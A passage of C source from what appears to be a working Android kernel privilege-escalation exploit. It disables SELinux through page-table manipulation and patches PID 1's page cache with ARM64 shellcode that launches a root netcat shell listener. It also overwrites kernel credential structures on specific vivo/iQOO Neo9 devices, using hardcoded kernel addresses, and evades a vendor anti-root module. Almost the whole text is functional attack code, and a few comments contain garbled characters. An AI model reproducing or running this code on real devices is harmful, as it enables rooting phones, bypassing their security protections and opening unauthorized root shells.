        if ((verify_val & 0xFF) == 0) {
            fprintf(stderr, "SELinux disabled! (0x%lx -> 0x%lx)\n", original_val, verify_val);
        } else {
            fprintf(stderr, "SELinux disable failed\n");
            return 1;
        }
    } else {
        page_map[pte_offset_a] = pte_a;
        flush_tlb();
        fprintf(stderr, "SELinux already permissive\n");
    }

    g_fast_rw.initialized = true;
    
    cheese->pte_a_index = pte_offset_a;
    
    fprintf(stderr, "Fast R/W initialized\n");

    return 0;
}

static int dirtypt_ro_setup(struct cheese_gpu_rw* cheese) {
    for (int attempt = 1; attempt <= 3; attempt++) {
        int rc = dirtypt_rw_setup(cheese, false);
        if (rc == 0) return 0;
        fprintf(stderr, "DirtyPT readonly setup attempt %d/3 failed; tearing down and retrying\n",
                 attempt);
        dirtypt_teardown(cheese);
        usleep(100000);
    }
    return 1;
}

// init-hook LPE helpers (page-table walk + shellcode build)
// Samsung RKP protects kernel code, not file page cache: the init-hook patches
// PID 1 /system/bin/init's page cache (redirect a .plt entry into a code cave in
// the executable LOAD padding that holds the nc-launcher shellcode), then
// rolls the bytes back.

// Walk user page tables for a single VA and return {page_pa, pte_pa, pte_val}
// Uses GPU-based slow reads 闂?suitable for early init before fast R/W is ready.
static int walk_user_va(struct cheese_gpu_rw* cheese, uint64_t mm_pgd_pa,
                        uint64_t va, uint64_t* out_page_pa,
                        uint64_t* out_pte_pa, uint64_t* out_pte_val) {
    uint64_t pgd_idx = (va >> 30) & 0x1FF;
    uint64_t pgd_entry = kernel_pread_u64(cheese, mm_pgd_pa + pgd_idx * 8);
    if ((pgd_entry & 0x3) != 0x3) return -1;

    uint64_t pmd_base = pgd_entry & 0x0000FFFFFFFFF000ULL;
    uint64_t pmd_idx = (va >> 21) & 0x1FF;
    uint64_t pmd_entry = kernel_pread_u64(cheese, pmd_base + pmd_idx * 8);
    if ((pmd_entry & 0x3) != 0x3) return -1;

    uint64_t pte_base = pmd_entry & 0x0000FFFFFFFFF000ULL;
    uint64_t pte_idx = (va >> 12) & 0x1FF;
    uint64_t pte_pa = pte_base + pte_idx * 8;
    uint64_t pte_entry = kernel_pread_u64(cheese, pte_pa);
    if ((pte_entry & 0x1) == 0) return -1;

    *out_page_pa  = pte_entry & 0x0000FFFFFFFFF000ULL;
    *out_pte_pa   = pte_pa;
    *out_pte_val  = pte_entry;
    return 0;
}

// Fast version using PTE-A remap 闂?for use after Dirty Pagetable is initialized.
static int fast_walk_user_va(struct cheese_gpu_rw* cheese, uint64_t mm_pgd_pa,
                             uint64_t va, uint64_t* out_page_pa,
                             uint64_t* out_pte_pa, uint64_t* out_pte_val) {
    if (!g_fast_rw.initialized) return walk_user_va(cheese, mm_pgd_pa, va, out_page_pa, out_pte_pa, out_pte_val);

    uint64_t pgd_idx = (va >> 30) & 0x1FF;
    uint64_t pgd_entry = fast_pread_u64(cheese, mm_pgd_pa + pgd_idx * 8);
    if ((pgd_entry & 0x3) != 0x3) return -1;

    uint64_t pmd_base = pgd_entry & 0x0000FFFFFFFFF000ULL;
    uint64_t pmd_idx = (va >> 21) & 0x1FF;
    uint64_t pmd_entry = fast_pread_u64(cheese, pmd_base + pmd_idx * 8);
    if ((pmd_entry & 0x3) != 0x3) return -1;

    uint64_t pte_base = pmd_entry & 0x0000FFFFFFFFF000ULL;
    uint64_t pte_idx = (va >> 12) & 0x1FF;
    uint64_t pte_pa = pte_base + pte_idx * 8;
    uint64_t pte_entry = fast_pread_u64(cheese, pte_pa);
    if ((pte_entry & 0x1) == 0) return -1;

    *out_page_pa  = pte_entry & 0x0000FFFFFFFFF000ULL;
    *out_pte_pa   = pte_pa;
    *out_pte_val  = pte_entry;
    return 0;
}

static int resolve_user_va(struct cheese_gpu_rw* cheese,
                                       uint64_t mm_pgd_pa,
                                       uint64_t va,
                                       const char* label,
                                       uint64_t* out_page_pa,
                                       uint64_t* out_pte_pa,
                                       uint64_t* out_pte_val,
                                       const char** out_source) {
    const char* source = g_fast_rw.initialized ? "fast" : "slow";
    uint64_t page_pa = 0, pte_pa = 0, pte_val = 0;
    int rc = fast_walk_user_va(cheese, mm_pgd_pa, va,
                               &page_pa, &pte_pa, &pte_val);
    if (rc != 0 && g_fast_rw.initialized) {
        fprintf(stderr, "%s_FAST_FAIL rc=%d va=0x%lx; retrying with ReadPhys64 slow walk\n",
                 label, rc, va);
        source = "slow-fallback";
        page_pa = pte_pa = pte_val = 0;
        rc = walk_user_va(cheese, mm_pgd_pa, va,
                          &page_pa, &pte_pa, &pte_val);
        fprintf(stderr, "%s_SLOW_FALLBACK rc=%d page_pa=0x%lx pte_pa=0x%lx pte=0x%lx\n",
                 label, rc, page_pa, pte_pa, pte_val);
    }

    *out_page_pa = page_pa;
    *out_pte_pa = pte_pa;
    *out_pte_val = pte_val;
    if (out_source) *out_source = source;
    return rc;
}

static uint32_t encode_arm64_b(uint64_t src, uint64_t dst) {
    int64_t delta = (int64_t)dst - (int64_t)src;
    return 0x14000000U | (uint32_t)((delta / 4) & 0x03ffffffU);
}

static uint32_t encode_arm64_adr_word(uint32_t rd, uint32_t src_word,
                                      uint32_t dst_word) {
    int32_t byte_off = ((int32_t)dst_word - (int32_t)src_word) *
                       (int32_t)sizeof(uint32_t);
    uint32_t imm = (uint32_t)byte_off & 0x1fffffU;
    return 0x10000000U | ((imm & 0x3U) << 29) |
           (((imm >> 2) & 0x7ffffU) << 5) | (rd & 0x1fU);
}

static size_t build_runner_sc(uint32_t* out, size_t cap_words) {
    if (cap_words < INIT_HOOK_SHELLCODE_WORDS) return 0;

    // Runs inside init (PID 1): forks a child that execs the root nc shell listener
    // while init itself returns normally. The adr instructions
    // start zeroed and are patched below to address the strings at the end.
    uint32_t shellcode[INIT_HOOK_SHELLCODE_WORDS] = {
        // save the registers we clobber
        0xa9bf7bfd, // stp x29, x30, [sp, #-0x10]!
        0xa9bf07e0, // stp x0, x1, [sp, #-0x10]!
        0xa9bf0fe2, // stp x2, x3, [sp, #-0x10]!
        0xa9bf17e4, // stp x4, x5, [sp, #-0x10]!
        0xa9bf1fe6, // stp x6, x7, [sp, #-0x10]!
        0xa9bf27e8, // stp x8, x9, [sp, #-0x10]!

        // only act inside init: if getpid() != 1, jump to the epilogue
        0xd2801588, // mov x8, #172 (getpid)
        0xd4000001, // svc #0
        0x7100041f, // cmp w0, #1
        0x54000321, // b.ne epilogue

        // fork()
        0xd2800220, // mov x0, #0x11 (SIGCHLD)
        0xd2800001, // mov x1, #0
        0xd2800002, // mov x2, #0
        0xd2800003, // mov x3, #0
        0xd2800004, // mov x4, #0
        0xd2801b88, // mov x8, #220 (clone)
        0xd4000001, // svc #0
        0xb5000220, // cbnz x0, epilogue   (parent returns to init)

        // child: execve("/system/bin/sh", {"sh", "-c", cmd, 0}, 0)
        0x00000000, // adr x0, "/system/bin/sh"
        0xd10083ff, // sub sp, sp, #0x20
        0x00000000, // adr x10, "sh"
        0xf90003ea, // str x10, [sp]
        0x00000000, // adr x10, "-c"
        0xf90007ea, // str x10, [sp, #8]
        0x00000000, // adr x10, cmd
        0xf9000bea, // str x10, [sp, #0x10]
        0xf9000fff, // str xzr, [sp, #0x18]
        0x910003e1, // mov x1, sp
        0xaa1f03e2, // mov x2, xzr
        0xd2801ba8, // mov x8, #221 (execve)
        0xd4000001, // svc #0

        // execve only returns on failure, so exit
        0xaa1f03e0, // mov x0, xzr
        0xd2800ba8, // mov x8, #93 (exit)
        0xd4000001, // svc #0

        // epilogue: restore registers and return success to init
        0xa8c127e8, // ldp x8, x9, [sp], #0x10
        0xa8c11fe6, // ldp x6, x7, [sp], #0x10
        0xa8c117e4, // ldp x4, x5, [sp], #0x10
        0xa8c10fe2, // ldp x2, x3, [sp], #0x10
        0xa8c107e0, // ldp x0, x1, [sp], #0x10
        0xa8c17bfd, // ldp x29, x30, [sp], #0x10
        INIT_HOOK_RET_SUCCESS_WORD, // mov w0, #0
        INIT_HOOK_RET_WORD, // ret

        // "/system/bin/sh"
        0x7379732f, 0x2f6d6574, 0x2f6e6962, 0x00006873,
        // "sh", "-c"
        0x00006873, 0x0000632d,
        // "toybox nc -s 127.0.0.1 -p 4444 -L /system/bin/sh"
        0x62796f74, 0x6e20786f, 0x732d2063, 0x37323120,
        0x302e302e, 0x2d20312e, 0x34342070, 0x2d203434,
        0x732f204c, 0x65747379, 0x69622f6d, 0x68732f6e,
        0x00000000,
    };

    // patch the adr instructions to point at the strings above
    shellcode[18] = encode_arm64_adr_word(0, 18, 42);  // -> "/system/bin/sh"
    shellcode[20] = encode_arm64_adr_word(10, 20, 46); // -> "sh"
    shellcode[22] = encode_arm64_adr_word(10, 22, 47); // -> "-c"
    shellcode[24] = encode_arm64_adr_word(10, 24, 48); // -> command line
    memcpy(out, shellcode, sizeof(shellcode));
    return INIT_HOOK_SHELLCODE_WORDS;
}

static int decode_arm64_adr_byte_off(const uint32_t* code, size_t words,
                                     uint32_t word_index,
                                     uint32_t* out_byte_off) {
    if (word_index >= words) return -1;
    uint32_t insn = code[word_index];
    if ((insn & 0x9f000000U) != 0x10000000U) return -1;

    int32_t imm = (int32_t)((((insn >> 5) & 0x7ffffU) << 2) |
                            ((insn >> 29) & 0x3U));
    if (imm & (1 << 20)) imm |= ~((1 << 21) - 1);

    int32_t target = (int32_t)(word_index * sizeof(uint32_t)) + imm;
    if (target < 0 || (uint32_t)target >= words * sizeof(uint32_t))
        return -1;

    *out_byte_off = (uint32_t)target;
    return 0;
}

static int read_phys_u64_bulk_only(struct cheese_gpu_rw* cheese,
                                   uint64_t phys_addr,
                                   uint64_t* out_val,
                                   const char* label) {
    uint8_t bytes[sizeof(uint64_t)] = {0};
    struct bulk_read_stats stats = {0};

    if (ReadPhysBytesBulk(cheese, phys_addr, bytes, sizeof(bytes), &stats)) {
        fprintf(stderr, "%s bulk qword read failed at 0x%lx (marker_fail=%u)\n",
                  label, phys_addr, stats.marker_failures);
        return 1;
    }

    memcpy(out_val, bytes, sizeof(*out_val));
    return 0;
}

static int check_runner_sc(const uint32_t* shellcode,
                                                         size_t words) {
    uint32_t adr_path = 0, adr_arg0 = 0, adr_arg1 = 0, adr_arg2 = 0;
    const uint8_t* shellcode_bytes = (const uint8_t*)shellcode;

    if (words != INIT_HOOK_SHELLCODE_WORDS) return 1;
    if (decode_arm64_adr_byte_off(shellcode, words, 18, &adr_path) ||
        decode_arm64_adr_byte_off(shellcode, words, 20, &adr_arg0) ||
        decode_arm64_adr_byte_off(shellcode, words, 22, &adr_arg1) ||
        decode_arm64_adr_byte_off(shellcode, words, 24, &adr_arg2)) {
        fprintf(stderr, "init hook shellcode ADR decode failed\n");
        return 1;
    }
    if (adr_path != 42U * sizeof(uint32_t) ||
        adr_arg0 != 46U * sizeof(uint32_t) ||
        adr_arg1 != 47U * sizeof(uint32_t) ||
        adr_arg2 != 48U * sizeof(uint32_t)) {
        fprintf(stderr, "init hook shellcode ADR target offset mismatch\n");
        return 1;
    }
    if (memcmp(shellcode_bytes + adr_path, "/system/bin/sh",
               sizeof("/system/bin/sh")) ||
        memcmp(shellcode_bytes + adr_arg0, "sh", sizeof("sh")) ||
        memcmp(shellcode_bytes + adr_arg1, "-c", sizeof("-c")) ||
        memcmp(shellcode_bytes + adr_arg2, ROOT_CMD_RUNNER,
               sizeof(ROOT_CMD_RUNNER))) {
        fprintf(stderr, "init hook shellcode embedded string mismatch\n");
        return 1;
    }
    if (shellcode[6] != 0xd2801588 || // getpid
        shellcode[15] != 0xd2801b88 ||  // clone
        shellcode[27] != 0x910003e1 ||  // argv = sp
        shellcode[29] != 0xd2801ba8 ||  // execve
        shellcode[32] != 0xd2800ba8 ||  // exit
        shellcode[40] != INIT_HOOK_RET_SUCCESS_WORD ||
        shellcode[41] != INIT_HOOK_RET_WORD) {
        fprintf(stderr, "init hook shellcode syscall/direct-return words mismatch\n");
        return 1;
    }
    return 0;
}

// Read a full page table page (512 闂?8-byte entries) via fast PTE-A remap.
// Caller provides a 4096-byte buffer. Returns 0 on success.

// Make a page cache page writable via Dirty Pagetable, write data, flush, restore
static int write_to_page_cache(struct cheese_gpu_rw* cheese,
                               uint64_t page_pa, uint32_t page_offset,
                               void* data, size_t size,
                               uint64_t pte_pa, uint64_t original_pte) {
    if (!g_fast_rw.initialized) { fprintf(stderr, "Fast R/W not ready\n"); return -1; }

    uint64_t write_pa = page_pa + page_offset;
    uint64_t target_page = write_pa & ~0xFFFULL;
    uint64_t offset = write_pa & 0xFFFULL;
    if (size == 0 || offset + size > PAGE_SIZE) {
        fprintf(stderr, "page-cache write would cross page boundary: page_pa=0x%lx offset=0x%lx size=0x%zx\n",
                  page_pa, offset, size);
        return -1;
    }

    // Remap PTE-A to target physical page (same pattern as SELinux disable)
    uint64_t rw_pte = phys_to_readwrite_pte(target_page);
    g_fast_rw.page_map[g_fast_rw.pte_a_index] = rw_pte;
    flush_tlb();

    memcpy((char*)g_fast_rw.map + offset, data, size);

    for (size_t i = 0; i < size; i += g_level1_dcache_size) {
        __asm__ volatile("dc cvau, %0" : : "r" ((char*)g_fast_rw.map + offset + i) : "memory");
    }
    __asm__ volatile("dsb ish" : : : "memory");

    // I-cache invalidation: Cortex-X3/A715 use PIPT I-cache,
    // stale entries prevent modified code from being fetched.
    // IC IVAU broadcasts to all PEs in the Inner Shareability domain.
    for (size_t i = 0; i < size; i += 64) {
        __asm__ volatile("ic ivau, %0" : : "r" ((char*)g_fast_rw.map + offset + i));
    }
    __asm__ volatile("dsb ish" : : : "memory");
    __asm__ volatile("isb" : : : "memory");

    g_fast_rw.page_map[g_fast_rw.pte_a_index] = g_fast_rw.original_pte_a;
    flush_tlb();

    return 0;
}

static int write_to_page_cache_verified(struct cheese_gpu_rw* cheese,
                                        uint64_t page_pa,
                                        uint32_t page_offset,
                                        const void* data,
                                        size_t size,
                                        uint64_t pte_pa,
                                        uint64_t original_pte,
                                        const char* label,
                                        uint32_t max_attempts) {
    uint8_t verify[PAGE_SIZE];
    if (size == 0 || size > sizeof(verify)) {
        fprintf(stderr, "verified page-cache write has invalid size label=%s size=0x%zx\n",
                  label, size);
        return -1;
    }
    if (max_attempts == 0) max_attempts = 1;

    for (uint32_t attempt = 1; attempt <= max_attempts; attempt++) {
        if (write_to_page_cache(cheese, page_pa, page_offset, (void*)data,
                                size, pte_pa, original_pte)) {
            fprintf(stderr, "write verify %s (attempt %u): write failed\n",
                      label, attempt);
            continue;
        }
        if (fast_read_phys_bytes(cheese, page_pa + page_offset,
                                 verify, size)) {
            fprintf(stderr, "write verify %s (attempt %u): readback failed\n",
                      label, attempt);
            continue;
        }
        if (memcmp(verify, data, size) == 0) {
            return 0;
        }

        uint32_t got0 = 0, exp0 = 0;
        memcpy(&got0, verify, sizeof(got0));
        memcpy(&exp0, data, sizeof(exp0));
        fprintf(stderr, "write verify %s (attempt %u): mismatch got=0x%08x want=0x%08x\n",
                  label, attempt, got0, exp0);
    }

    return -1;
}

// Coherent PTE write via PTE-A remap (CPU, not GPU) so init's walker sees it. 0 on match.
static int coherent_pte_write(struct cheese_gpu_rw* cheese, uint64_t pte_pa, uint64_t val) {
    (void)cheese;
    if (!g_fast_rw.initialized) return -1;
    uint64_t page = pte_pa & ~0xfffULL;
    uint64_t off = pte_pa & 0xfffULL;
    g_fast_rw.page_map[g_fast_rw.pte_a_index] = phys_to_readwrite_pte(page);
    flush_tlb();
    volatile uint64_t* slot = (volatile uint64_t*)((char*)g_fast_rw.map + off);
    *slot = val;
    __asm__ volatile("dsb ish" : : : "memory");
    uint64_t rb = *slot;
    g_fast_rw.page_map[g_fast_rw.pte_a_index] = g_fast_rw.original_pte_a;
    flush_tlb();
    return (rb == val) ? 0 : -1;
}

// Non-resident cave fallback: back the cave VA with our own pinned page (PTE cloned from the patch page)
// The installed PTE and the PLT branch are both restored on exit.
struct cave_fallback {
    bool installed;
    uint64_t pte_pa;     // init PTE slot we wrote
    uint64_t orig_pte;   // original (non-present) value to restore
    void* page;          // our pinned backing page
};

static int install_cave_fallback_mapping(struct cheese_gpu_rw* cheese,
                                         uint64_t init_pgd_pa,
                                         uint64_t cave_page_va,
                                         uint64_t patch_pte,
                                         uint64_t* out_page_pa,
                                         uint64_t* out_pte_pa,
                                         uint64_t* out_pte,
                                         struct cave_fallback* fb) {
    const uint64_t OUT_MASK = 0x0000FFFFFFFFF000ULL;
    memset(fb, 0, sizeof(*fb));

    // Walk init PGD->PMD to the (already-present) PTE table for the cave VA.
    uint64_t pgd_entry = fast_pread_u64(cheese, init_pgd_pa + ((cave_page_va >> 30) & 0x1FF) * 8);
    if ((pgd_entry & 0x3) != 0x3) { fprintf(stderr, "cave fallback: PGD entry invalid\n"); return 1; }
    uint64_t pmd_entry = fast_pread_u64(cheese, (pgd_entry & OUT_MASK) + ((cave_page_va >> 21) & 0x1FF) * 8);
    if ((pmd_entry & 0x3) != 0x3) { fprintf(stderr, "cave fallback: PMD entry invalid (no PTE table)\n"); return 1; }
    uint64_t cave_pte_pa = (pmd_entry & OUT_MASK) + ((cave_page_va >> 12) & 0x1FF) * 8;
    uint64_t orig_pte = fast_pread_u64(cheese, cave_pte_pa);
    if (orig_pte & 0x1) { fprintf(stderr, "cave fallback: cave PTE unexpectedly present (0x%lx)\n", orig_pte); return 1; }

    // Pinned, resident anonymous page to back the cave.
    void* page = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED) { fprintf(stderr, "cave fallback: mmap failed\n"); return 1; }
    memset(page, 0, PAGE_SIZE);
    mlock(page, PAGE_SIZE);

    // Resolve our backing page's physical address via our own page tables.
    uint64_t our_task = get_task_by_pid_fast(cheese, (uint32_t)getpid());
    uint64_t our_mm_va = our_task ? fast_pread_u64(cheese, our_task + OFFSETOF_TASK_STRUCT_MM) : 0;
    uint64_t our_mm_pa = (our_mm_va && is_valid_kernel_va(our_mm_va)) ? kernel_va_to_pa(cheese, our_mm_va) : 0;
    uint64_t our_pgd_va = our_mm_pa ? fast_pread_u64(cheese, our_mm_pa + OFFSETOF_MM_PGD) : 0;
    uint64_t our_pgd_pa = (our_pgd_va && is_valid_kernel_va(our_pgd_va)) ? kernel_va_to_pa(cheese, our_pgd_va) : 0;
    uint64_t our_page_pa = 0, tmp_pte_pa = 0, tmp_pte = 0;
    if (!our_pgd_pa ||
        resolve_user_va(cheese, our_pgd_pa, (uint64_t)page, "CAVE_FALLBACK_OWN",
                        &our_page_pa, &tmp_pte_pa, &tmp_pte, NULL) || !our_page_pa) {
        fprintf(stderr, "cave fallback: own backing-page walk failed\n");
        munlock(page, PAGE_SIZE); munmap(page, PAGE_SIZE); return 1;
    }

    // Clone the patch page's attrs (exec/user/memtype correct by construction) onto our
    // page; clear the Contiguous hint (bit 52) since our page is a lone 4K frame.
    uint64_t new_pte = (patch_pte & ~OUT_MASK & ~(1ULL << 52)) | (our_page_pa & OUT_MASK);
    if (coherent_pte_write(cheese, cave_pte_pa, new_pte)) {
        fprintf(stderr, "cave fallback: coherent PTE install failed\n");
        coherent_pte_write(cheese, cave_pte_pa, orig_pte);
        munlock(page, PAGE_SIZE); munmap(page, PAGE_SIZE); return 1;
    }

    fprintf(stderr, "cave fallback: mapped cave page_pa=0x%lx pte_pa=0x%lx pte=0x%lx (cloned from patch)\n",
            our_page_pa, cave_pte_pa, new_pte);
    fb->installed = true; fb->pte_pa = cave_pte_pa; fb->orig_pte = orig_pte; fb->page = page;
    *out_page_pa = our_page_pa; *out_pte_pa = cave_pte_pa; *out_pte = new_pte;
    return 0;
}

// Success probe: try to connect to the root nc listener on 127.0.0.1:NC_PORT.
// connect() succeeds only once init's hooked child has the listener up.
static bool nc_listener_up(void) {
    int s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0) return false;
    struct sockaddr_in addr = {0};
    addr.sin_family = AF_INET;
    addr.sin_port = htons(NC_PORT);
    addr.sin_addr.s_addr = inet_addr(NC_HOST);
    bool ok = (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == 0);
    close(s);
    return ok;
}

// https://hitcon.org/2022/slides/How%20we%20use%20Dirty%20Pipe%20to%20get%20reverse%20root%20shell%20on%20Android%20Emulator%20and%20Pixel%206.pdf

// ---- vivo caps-only root (Type010 style: keep uid, grant full caps) ----
#define OFFSETOF_TASK_STRUCT_REAL_CRED 0x790
#define OFFSETOF_TASK_STRUCT_CRED      0x798
#define OFFSETOF_CRED_SECUREBITS       0x24
#define OFFSETOF_CRED_CAP_INHERITABLE  0x28
#define OFFSETOF_CRED_CAP_PERMITTED    0x30
#define OFFSETOF_CRED_CAP_EFFECTIVE    0x38
#define OFFSETOF_CRED_CAP_BSET         0x40
#define OFFSETOF_CRED_CAP_AMBIENT      0x48
#define CRED_CAP_FULL                  0x000001ffffffffffULL
#define SECBIT_KEEP_CAPS               1

static int caps_only_root(struct cheese_gpu_rw* cheese) {
    uint64_t task_pa = get_curr_task_struct(cheese);
    if (!task_pa) {
        fprintf(stderr, "self task not found\n");
        return 1;
    }
    uint64_t cred_va = kernel_pread_u64(cheese, task_pa + OFFSETOF_TASK_STRUCT_CRED);
    uint64_t rcred_va = kernel_pread_u64(cheese, task_pa + OFFSETOF_TASK_STRUCT_REAL_CRED);
    if (!is_valid_kernel_va(cred_va) || !is_valid_kernel_va(rcred_va)) {
        fprintf(stderr, "invalid cred VA (cred=0x%lx rcred=0x%lx)\n",
                cred_va, rcred_va);
        return 1;
    }
    uint64_t cred_pa = kernel_va_to_pa(cheese, cred_va);
    uint64_t rcred_pa = kernel_va_to_pa(cheese, rcred_va);
    if (!cred_pa || !rcred_pa) {
        fprintf(stderr, "cred PA translation failed (cred=0x%lx rcred=0x%lx)\n",
                cred_va, rcred_va);
        return 1;
    }

    uint64_t creds[2] = { cred_pa, rcred_pa };
    for (int i = 0; i < 2; i++) {
        uint64_t pa = creds[i];
        kernel_pwrite_u64(cheese, pa + OFFSETOF_CRED_CAP_PERMITTED, CRED_CAP_FULL);
        kernel_pwrite_u64(cheese, pa + OFFSETOF_CRED_CAP_EFFECTIVE, CRED_CAP_FULL);
        kernel_pwrite_u64(cheese, pa + OFFSETOF_CRED_CAP_BSET, CRED_CAP_FULL);
        kernel_pwrite_u64(cheese, pa + OFFSETOF_CRED_CAP_INHERITABLE, CRED_CAP_FULL);
        kernel_pwrite_u64(cheese, pa + OFFSETOF_CRED_CAP_AMBIENT, CRED_CAP_FULL);
        uint32_t sb = (uint32_t)kernel_pread_u64(cheese, pa + OFFSETOF_CRED_SECUREBITS);
        kernel_pwrite_u64(cheese, pa + OFFSETOF_CRED_SECUREBITS,
                          (uint64_t)(sb | SECBIT_KEEP_CAPS));
    }

    /* verify effective caps on the primary cred */
    uint64_t chk = kernel_pread_u64(cheese, cred_pa + OFFSETOF_CRED_CAP_EFFECTIVE);
    if (chk != CRED_CAP_FULL) {
        fprintf(stderr, "cred cap write failed at 0x%lx\n",
                cred_pa + OFFSETOF_CRED_CAP_EFFECTIVE);
        return 1;
    }

    prctl(PR_SET_KEEPCAPS, 1, 0, 0, 0);
    fprintf(stderr, "self creds: full caps granted (uid=%d kept, watchdog dodge)\n",
            getuid());
    return 0;
}

// ---- Neo9 vhangup root (write-only path; no GPU reads) ----
// 设备: iQOO Neo9 PD2338C, 内核 5.15.178-gaacdc35637c4-dirty (无 KASLR)
// stext_pa 固定 0xa8010000 -> _stext VA 固定 0xffffffc008010000
#define NEO9_VHANGUP_OFFSET    0x5dc898ULL    // __arm64_sys_vhangup 相对 stext_pa 偏移
#define NEO9_PREP_KRED_VA      0xffffffc0081ae31cULL
#define NEO9_COMMIT_CREDS_VA   0xffffffc0081aef14ULL

// vhangup 提权 stub 的二分诊断模式:
//  STUB_MODE 0: 完整 (detag 读 + prepare_kernel_cred(0) + commit_creds)
//  STUB_MODE 1: 最简 (mov w0,#0x1234; ret) — 验证 stub 执行机制本身;
//               若 syscall 返回 0x1234 证明 stub 真被执行且安全返回
//  STUB_MODE 2: 只 prepare_kernel_cred(0), 不 commit — 二分 cred 获取路径
#ifndef STUB_MODE
#define STUB_MODE 0
#endif

#if STUB_MODE == 1
// 最简: 返回独特值, 不碰任何内核状态
static const uint32_t vhangup_stub[2] = {
    0x52824680, 0xd65f03c0,   // mov w0,#0x1234; ret
};
#elif STUB_MODE == 5
// 【Neo9 纯数据写方案】零函数调用: current->real_cred = current->cred = &init_cred
// 依据: BTF task_struct real_cred@+0x790 cred@+0x798; init_cred VA=0xffffffc00aecb6b8
// (BTF 交叉验证); 规避 blr->BTI fault / CFI / PAN / PAC 一切调用陷阱
static const uint32_t vhangup_stub[17] = {
    0xd503233f, 0xa9bf7bfd, 0x910003fd, 0xd5384108,   // paciasp; stp x29,x30,[sp,#-0x10]!; mov x29,sp; mrs x8,sp_el0(current)
    0xd296d709, 0xf2a15d89, 0xf2dff809, 0xf2ffffe9,   // movz x9,#0xb6b8; movk #0x0aec,lsl16; movk #0xffc0,lsl32; movk #0xffff,lsl48 => x9=&init_cred
    0x5282000a, 0x72a2000a, 0xb900012a,               // mov w10,#0x1000; movk w10,#0x1000,lsl16; str w10,[x9] (init_cred->usage=0x10001000)
    0xf903c909, 0xf903cd09,                           // str x9,[x8,#0x790] (real_cred); str x9,[x8,#0x798] (cred)
    0xa8c17bfd, 0xd50323bf, 0x52800000, 0xd65f03c0,   // ldp; autiasp; mov w0,#0; ret
};
#elif STUB_MODE == 8
// 诊断: PAC 栈帧 + 零内存写, 返回 0x1234 -> 区分 PAC 帧 vs 写内存 (MODE=1 无帧成功过)
static const uint32_t vhangup_stub[7] = {
    0xd503233f, 0xa9bf7bfd, 0x910003fd,   // paciasp; stp x29,x30,[sp,#-0x10]!; mov x29,sp
    0xa8c17bfd, 0xd50323bf, 0x52824680,   // ldp x29,x30,[sp],#0x10; autiasp; mov w0,#0x1234
    0xd65f03c0,                           // ret
};
#elif STUB_MODE == 10
// 【Neo9 vr.ko 绕过】vr.ko 检测 current->cred->euid(+0x14)==0 的进程(非 vrp 域) -> 反 root 触发崩溃。
// 本 stub 不改 euid (保持 2000), 只写 fsuid/fsgid=0 + 全 caps (0x1fffffffff, 41 位):
// DAC/文件/系统操作全能力, vr.ko 检查点不触发 -> 设备不崩。
// BTF: cred { uid@0x4 euid@0x14 fsuid@0x1c fsgid@0x20 cap_inh@0x28 cap_perm@0x30 cap_eff@0x38 cap_bset@0x40 cap_amb@0x48 }
static const uint32_t vhangup_stub[20] = {
    0xd503233f, 0xa9bf7bfd, 0x910003fd, 0xd5384108,   // paciasp; stp; mov x29,sp; mrs x8,sp_el0
    0xf943cd09,                                       // ldr x9,[x8,#0x798] (current->cred)
    0x5280000a, 0xb9001d2a, 0xb900212a,               // mov w10,#0; str [x9,#0x1c] (fsuid=0); str [x9,#0x20] (fsgid=0)
    0xd29fffeb, 0xf2bfffeb, 0xf2c03feb,               // x11 = 0x1fffffffff (全 caps)
    0xf900152b, 0xf900192b, 0xf9001d2b, 0xf900212b, 0xf900252b,  // cap_inh/perm/eff/bset/amb = x11
    0xa8c17bfd, 0xd50323bf, 0x52800000, 0xd65f03c0,   // ldp; autiasp; mov w0,#0; ret
};
#elif STUB_MODE == 12
// 【Neo9 CyberMeowfia 方法】全 0 uid + securebits=0 + 全 caps + SELinux sid=kernel(1)
// (root.c patch_cred_object 等价: uid/gid/euids=0, caps 全满, blob sid=SECINITSID_KERNEL)
// 配合 CHEESE_DAEMON 不 exec -> 验证 euid=0 + kernel sid 是否绕过 vr.ko
static const uint32_t vhangup_stub[31] = {
    0xd503233f, 0xa9bf7bfd, 0x910003fd, 0xd5384108,   // paciasp; stp; mov x29,sp; mrs x8,sp_el0
    0xf943cd09,                                       // ldr x9,[x8,#0x798] (cred)
    0x5280000a, 0xb900052a, 0xb900092a, 0xb9000d2a, 0xb900112a,  // w10=0; uid/gid/suid/sgid=0
    0xb900152a, 0xb900192a, 0xb9001d2a, 0xb900212a, 0xb900252a,  // euid/egid/fsuid/fsgid/securebits=0
    0xd29fffeb, 0xf2bfffeb, 0xf2c03feb,               // x11 = 0x1fffffffff (caps)
    0xf900152b, 0xf900192b, 0xf9001d2b, 0xf900212b, 0xf900252b,  // 5 个 cap 字段
    0xf9403d2c, 0x5280002d, 0xb900018d, 0xb900058d,   // x12=cred->security; w13=1; osid=1; sid=1 (kernel)
    0xa8c17bfd, 0xd50323bf, 0x52800000, 0xd65f03c0,   // ldp; autiasp; mov w0,#0; ret
};
#else
// 96 字节提权 stub (Type010 风格): detag 读 -> prepare_kernel_cred(0) -> commit_creds
// 【Neo9 修正】detag 的写回 str x9,[x8] 已 NOP (d6): 若 vivo task_struct 首字段非
// thread_info.flags, 写回会破坏 current -> panic; 读+掩码保留无副作用。
static const uint32_t vhangup_stub[24] = {
    0xd503233f, 0xa9bf7bfd, 0x910003fd, 0xd5384108,   // paciasp; stp; mov x29,sp; mrs x8,sp_el0
    0xf9400109, 0x9274cd29, 0xd503201f, 0xd2800000,   // ldr x9,[x8]; and; NOP(str x9,[x8]); mov x0,#0
    0x58000050, 0x14000003,                           // ldr x16,[pc,#8]; b +12
    (uint32_t)(NEO9_PREP_KRED_VA & 0xffffffffULL), (uint32_t)(NEO9_PREP_KRED_VA >> 32),
    0xd63f0200, 0xaa0003ef,                           // blr x16; mov x15,x0
    0x58000050, 0x14000003,                           // ldr x16,[pc,#8]; b +12
    (uint32_t)(NEO9_COMMIT_CREDS_VA & 0xffffffffULL), (uint32_t)(NEO9_COMMIT_CREDS_VA >> 32),
    0xaa0f03e0, 0xd63f0200,                           // mov x0,x15; blr x16
    0xa8c17bfd, 0xd50323bf, 0x52800000, 0xd65f03c0,   // ldp; autiasp; mov w0,#0; ret
};
#endif

